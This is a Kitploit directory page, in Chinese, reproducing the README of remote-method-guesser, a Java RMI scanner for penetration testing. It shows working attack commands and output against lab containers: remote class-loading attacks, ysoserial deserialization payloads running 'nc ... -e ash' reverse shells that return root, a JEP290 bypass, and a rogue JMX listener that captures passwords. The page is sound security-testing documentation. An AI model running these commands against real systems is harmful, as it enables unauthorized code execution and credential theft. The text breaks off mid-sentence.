Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
remote-method-guesser — Java RMI 漏洞扫描器 | Kitploit
工具/GitHubGitHub/qtc-de/remote-method-guesser
漏洞扫描器漏洞利用渗透测试
GitHubqtc-de/remote-method-guesser

remote-method-guesser

Java RMI 漏洞扫描器

查看仓库
9301062年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

远程方法猜测器


maven CI maven CI

remote-method-guesser (rmg) 是一个 Java RMI 漏洞扫描器,可用于识别和验证 Java RMI 端点上常见的安全漏洞。

远程方法猜测器示例

BHUSA Arsenal 2021

remote-method-guesser 在 Black Hat USA2021 的 Arsenal 环节中进行了展示。该环节的录像及相应的幻灯片已公开,可通过以下链接获取:

  • 幻灯片:https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal
  • 录像:https://youtu.be/t_aw1mDNhzI

example server ssrf server spring server

remote-method-guesser 仓库包含三个示例服务器,可用于练习 Java RMI 枚举和攻击。 rmg-example-server 暴露了常规的 RMI 服务,可以使用 remote-method-guesser 进行枚举和利用。 rmg-ssrf-server 暴露了一个容易受到 SSRF 攻击的 HTTP 服务,并运行仅在本地主机上监听的 RMI 服务。这可用于练习 remote-method-guesser 的 --ssrf 和 --ssrf-response 选项。 spring-remoting-server 暴露了通过 Spring Remoting 创建的 RMI 接口。这些与常规的 Java RMI 略有不同,可用于测试 remote-method-guesser 的相关 Spring Remoting 集成。 所有服务器都可以作为 GitHub Container Registry 中的容器使用:

  • SSRF Server GitHub Package
  • Example Server GitHub Package
  • Spring Remoting Server GitHub Package

目录


  • 安装
  • 支持的操作
    • bind, rebind and unbind
    • call
    • codebase
    • enum
    • guess
    • known
    • listen
    • objid
    • roguejmx
    • scan
    • serial
  • 更多功能
  • Docker 镜像
  • 致谢

安装


rmg 是一个 maven 项目,安装过程应该很直接。安装了 maven 后,只需执行以下命令即可创建一个可执行的 .jar 文件:```console $ git clone https://github.com/qtc-de/remote-method-guesser $ cd remote-method-guesser $ mvn package

root@kitploit:~
您也可以使用为[每个发布版本](https://github.com/qtc-de/remote-method-guesser/releases)创建的预构建包。开发分支的预构建包会自动创建,并可在 *GitHub* [操作页面](https://github.com/qtc-de/remote-method-guesser/actions)上找到。

*rmg* 不将 *ysoserial* 作为依赖包含。要启用 *ysoserial* 支持,您需要指定您的 ``ysoserial.jar`` 文件路径作为附加参数(例如 ``--yso /opt/ysoserial.jar``),或者在构建项目之前更改 [rmg 配置文件](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) 中的默认路径。

*rmg* 还支持 *bash* 的自动补全。要使用自动补全功能,您需要安装 [completion-helpers](https://github.com/qtc-de/completion-helpers) 项目。如果设置正确,只需将 [补全脚本](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg) 复制到您的 ``~/.bash_completion.d`` 文件夹即可启用自动补全。```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/

支持的操作


下面,将简要介绍每个可用操作的示例。如需更详细的描述,请阅读文档文件夹,其中包含有关rmg和Java RMI的更详细信息。所有示例均基于rmg-example-server和rmg-ssrf-server。这两个服务器都包含在本仓库的docker文件夹中,可用于练习Java RMI的枚举。您可以自行构建相应的容器,或直接从GitHub Container Registry加载它们。```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...

rmg v4.0.0 - a Java RMI Vulnerability Scanner

positional arguments: action
bind Binds an object to the registry thats points to listener call Regulary calls a method with the specified arguments codebase Perform remote class loading attacks enum Enumerate common vulnerabilities on Java RMI endpoints guess Guess methods on bound names known Display details of known remote objects listen Open ysoserials JRMP listener objid Print information contained within an ObjID rebind Rebinds boundname as object that points to listener roguejmx Creates a rogue JMX listener (collect credentials) scan Perform an RMI service scan on common RMI ports serial Perform deserialization attacks against default RMI components unbind Removes the specified bound name from the registry

named arguments: -h, --help show this help message and exit

root@kitploit:~
#### bind、rebind 和 unbind

通过使用 ``bind``、``rebind`` 或 ``unbind`` 操作,可以修改 *RMI registry* 中可用的 *bound names*。
这对于验证 ``CVE-2019-2684`` 特别有用,该漏洞绕过了 localhost 限制,允许远程用户执行绑定操作。
当使用 ``bind`` 或 ``rebind`` 操作时,*remote-method-guesser* 默认绑定 ``javax.management.remote.rmi.RMIServerImpl_Stub`` *RemoteObject*,这是 *jmx* 服务器使用的 *RemoteObject*。此外,您需要指定相应 *TCP endpoint* 的地址,以便找到该 *RemoteObject*(当客户端尝试使用您绑定的对象时,它们应连接到的地址)。```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass 
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- my-object
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

通过使用 remote-method-guesser 的 Plugin System,也可以将自定义对象绑定到 RMI registry。要了解更多关于 Plugin System 的信息,请参阅文档文件夹。

call

使用 remote-method-guesser 的 call 操作,您无需编写任何 Java 代码即可调用远程方法。假设远程服务器上存在方法 String execute(String cmd)。这个方法听起来很有前途,您可能想通过常规的 Java RMI 调用来调用它。可以通过以下命令实现:```console [qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server [qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -

root@kitploit:~
注意:默认情况下,调用远程方法不会产生任何输出。要处理由 ``call`` 操作生成的输出,你需要使用 *remote-method-guesser* 的[插件系统](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md)并注册一个 ``ResponseHandler``,或者使用默认的 `GenericPrint` 插件。`GenericPrint` 已默认包含在 *remote-method-guesser* 中,可以通过使用 `--show-response` 选项来激活。```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)

在call动作期间,提供的参数通过插入到以下模板中被评估为Java表达式: new Object[]{ arg1, arg2, arg3, ... }。因此,您需要确保提供的参数符合该模式。例如, 使用"id"作为参数会导致错误,因为该参数作为id传递给remote-method-guesser,由此产生的 表达式new Object[]{ id }不是有效的Java表达式。相反,您需要使用'"id"',因为这会生成new Object[]{ "id" }, 这是有效的。

此外,原始类型需要以其对应的对象表示形式指定(例如使用new Integer(5)而不是5)。否则它们 无法在由Java表达式创建的Object[]数组中使用。在RMI调用期间,相应的参数将按预期使用, 并符合您指定的方法签名。对于更复杂的用例,您还可以通过使用 remote-method-guessers的插件系统来定义自定义的ArgumentProvider。

codebase

Java RMI支持一个称为codebases的功能,客户端和服务器可以在RMI调用期间指定URL,这些URL可能用于动态加载未知类。如果RMI服务器接受客户端指定的codebase,当客户端在RMI通信期间提供恶意的Java类时,这可能导致远程代码执行。

RMI服务器上的codebase配置对于不同的组件可能不同:Activator、DGC、Registry和Application Level。 remote-method-guesser允许您单独测试每个组件,使用--signature <method>(应用层)、 --component act(激活器)、--component dgc(分布式垃圾回收器)或--component reg(RMI注册表),结合 codebase动作。

Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -

root@kitploit:~
*RMI 注册表*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] 	Caught ClassCastException during codebase attack.
[+] 	Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -

分布式垃圾回收器:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -

root@kitploit:~
*激活器*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] 	Caught IllegalArgumentException during codebase attack.
[+] 	Codebase attack was probably successful :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -

enum

enum 动作对指定的 Java RMI 端点执行多项检查,并打印相应结果。关于 enum 动作生成的输出的更详细解释,你可以阅读相应的文档 页面。```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.example/well-hidden-development-folder/ [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enumeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default

root@kitploit:~
#### guess

当使用 ``guess`` 动作时,*remote-method-guesser* 尝试通过向远程服务器发送方法哈希来识别现有的远程方法。此操作需要一个包含相应方法定义的单词列表。*remote-method-guesser* 附带了一些默认单词列表,这些列表在构建阶段被包含在 ``.jar`` 文件中。你可以通过修改 [rmg 配置文件](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) 或使用 ``--wordlist-file`` 和 ``--wordlist-folder`` 选项来覆盖单词列表位置。零参数方法在猜测期间会被跳过,因为它们会导致服务器端真实的方法调用。你可以通过使用 ``--zero-arg`` 开关来启用对零参数方法的猜测。```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

known

在执行enum动作时,remote-method-guesser将RMI注册表上可用的bound names标记为known或unknown。这一决定取决于对应bound name所实现的类,以及该类是否包含在remote-method-guesser仓库中的已知端点列表内。当一个bound name被标记为known时,你可以对相应的类使用known动作。这样做会返回该类相关信息,如可用的远程方法、一般描述和可能的漏洞:```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter

root@kitploit:~
已知类的列表、描述以及已知漏洞的列表远非完整。
未来有望不断扩展,这将取决于其他用户的反馈。如果你遇到一个实现了当前缺失类且拥有足够信息(描述和可用方法)的 *RMI endpoint*,欢迎创建 issue 或 pull request。

#### listen

有时需要提供一个恶意的 *JRMPListener*,用于向传入的 *RMI* 连接提供反序列化载荷。从头编写这样一个监听器并非必要,因为它已经由 [ysoserial 项目](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java) 提供。*remote-method-guesser* 提供了对 *ysoserial* 实现的封装,让你可以通过通常的 *rmg* 语法来启动一个 *JRMPListener*:```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...

objid

objid 操作可用于显示关于 ObjID 的更详细信息。当 RemoteObject 被 RMI runtime 导出时,每个 RemoteObject 都会获得一个 ObjID 赋值。要与 RemoteObject 通信,需要知道 ObjID 值,这也是为什么通常需要一个 RMI registry 的原因。RMI registry 包含每个 bound name 的 ObjID,而 remote-method-guesser 在 enum 操作期间会显示它们。```console [qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646] [+] - legacy-service [+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754] [+] - plain-server [+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]

root@kitploit:~
``ObjID``值由不同的组件组成。当在相应的``ObjID``上使用``objid``动作时,这些组件以人类可读的形式显示:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 		1096154566158180646
[+] UID:
[+] 	Unique: 	-734386537
[+] 	Time: 		1638254048332 (Nov 30,2021 07:34)
[+] 	Count: 		-32759

显示的大部分信息并非那么有用,但Time值可能值得关注。该值包含了RemoteObject被创建的时间。因此,你可以用它来确定RMI服务器的运行时长等信息。

scan

有时,你会识别出一些服务,这些服务通常与Java RMI组件(如JBoss、Solr、Tomcat等)一起部署,但你不想对相应主机执行完整的端口扫描。在这种情况下,scan操作会很有用。它仅对常见的RMI端口执行快速扫描,并尝试识别这些端口上的RMI服务:```console [qtc@devbox ~]$ rmg scan 172.17.0.2 [+] Scanning 112 Ports on 172.17.0.2 for RMI services. [+] [+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC) [+] [119 / 119] [#############################] 100% [+] [+] Portscan finished.

root@kitploit:~
默认情况下,扫描操作使用预配置的常见 *RMI 端口* 列表。要自定义要扫描的端口列表,可以使用 ``--ports`` 选项。该选项接受纯数字和端口规范的数值范围。短横线字符(``-``)可用于引用默认端口列表。```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.

请注意,scan 动作的实现方式简单且不可靠。如果可能,您应该始终使用类似 nmap 的工具执行专用端口扫描。不过,scan 动作可以快速提示您发现 RMI 端口。

roguejmx

roguejmx 动作会在您的系统上创建一个 JMX 监听器,用于捕获传入连接的凭据。创建监听器后,remote-method-guesser 会打印用于与之交互所需的 ObjID 值。```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

root@kitploit:~
使用 ``bind`` 和 ``rebind`` 操作可以将此侦听器注入到 *RMI 注册表* 中,并等待其他用户连接到你的服务器:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials

传入的连接由监听器记录:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!

root@kitploit:~
*remote-method-guesser* 默认使用 *ObjID* 值 ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` 进行 *bind* 操作以及用于伪造的 *JMX* 服务器。因此,如上所示手动指定 *ObjID* 并非必要。您可以通过命令行参数或在 *remote-method-guesser* 的配置文件中更改默认的 *ObjID* 值。

伪造的 *JMX* 服务器默认会对每个传入连接返回访问异常(无效凭据),但您也可以将传入连接转发到不同的 *JMX* 实例。这使得在不中断任何服务的情况下获取传入客户端连接的凭据成为可能。要转发连接,您需要将相应的目标指定为附加参数。目标可以通过两种方式指定:

1. RMI 注册表的 IP 地址和端口,以及对应 *JMX 实例* 的绑定名称:  ```console
  [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi 
  [+] Statring RogueJMX Server on 172.17.0.1:4444
  [+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
  [+] 	--> Forwarding connections to: 172.17.0.2:9010:jmxrmi
  [+]
  1. JMX 服务本身的 IP 地址和端口,以及它的 ObjID 值: ```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 41001 --forward-objid '[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]' [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] --> Forwarding connections to: 172.17.0.2:41001:[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423] [+]
root@kitploit:~
#### serial

*Java RMI* 在客户端与服务器的通信中使用 *Java 序列化对象*。这使得它可能容易受到*反序列化攻击*。这些攻击可以针对不同的 *RMI 组件*:

* 已知的 *RMI 组件*(*RMI 内部*)
* *RMI 注册表*
* *DGC*
* *Activator*
* 用户定义的 *RemoteObjects*(*应用程序级别*)

##### 已知的 RMI 组件

虽然现代 *RMI 服务器* 对这些*已知的 RMI 组件*(*JEP290*)应用了*反序列化过滤器*,但较旧的服务器可能仍然容易受到*反序列化攻击*。*remote-method-guesser* 允许通过使用 ``serial`` 操作来验证这一点,该操作可以对 *Activator*、*分布式垃圾回收器*(*DGC*)或 *RMI 注册表*执行反序列化攻击。```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	Caught ClassCastException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)

在 RMI 注册表 的情况下,反序列化过滤器 可能会被 JRMPClient 或 An Trinh 绕过 gadget 绕过。这些 gadget 会创建一个 出站 RMI 通道,该通道不再应用 反序列化过滤器。在此通道上,可照常进行反序列化攻击,但这两种绕过方式已在最新版本的 Java RMI 中被修补。```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.

[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection

[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
在它的``enum``动作期间,*remote-method-guesser*会告知你在*RMI端点*(旧版*RMI组件*)上是否存在一个*Activator*。
*激活系统*的默认实现没有为*Activator RemoteObject*实现任何反序列化过滤器。因此,
对*Activator*端点的反序列化攻击应该始终有效,即使在最新的*Java版本*上也是如此。```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] 	Caught IllegalArgumentException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
应用层面

尽管现代的 Java RMI 实现默认使用 反序列化过滤器 来保护知名的 RMI 组件,但自定义的 RemoteObjects(实际上的 RMI 应用程序)通常不受保护。因此,那些参数中不仅使用基本类型的远程方法可能被用于 反序列化攻击。 这篇由 Hans-Martin Münch 撰写的 博客文章 更详细地解释了这个问题。remote-method-guesser 可用于轻松验证此类漏洞。例如, 我们可以使用 remote-method-guesser 示例服务器的 String login(java.util.HashMap dummy1) 方法来执行 反序列化攻击:```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize dummy class 